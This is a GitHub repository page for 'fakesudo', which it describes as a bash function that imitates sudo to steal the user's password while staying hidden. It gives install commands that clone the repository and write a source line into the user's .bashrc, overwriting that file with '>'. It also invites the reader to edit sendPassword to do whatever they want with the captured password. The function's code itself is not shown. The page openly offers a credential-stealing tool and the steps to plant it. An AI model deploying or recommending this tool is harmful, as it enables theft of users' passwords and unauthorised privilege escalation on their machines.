Join GitHub today

GitHub is home to over 31 million developers working together to host and review code, manage projects, and build software together.

Sign up

Steal users password with a fake sudo function.

It's just a bash function to steal the users password, while trying to be stealth handling scenarios like the user asking for the sudo help or the user giving the wrong password among other scenarios.

git clone https://github.com/mthbernardes/fakesudo.git
cd fakesudo
echo "source `pwd`/fakesudo.sh" > /home/$USER/.bashrc

Just edit the function sendPassword to do whatever you want with the password.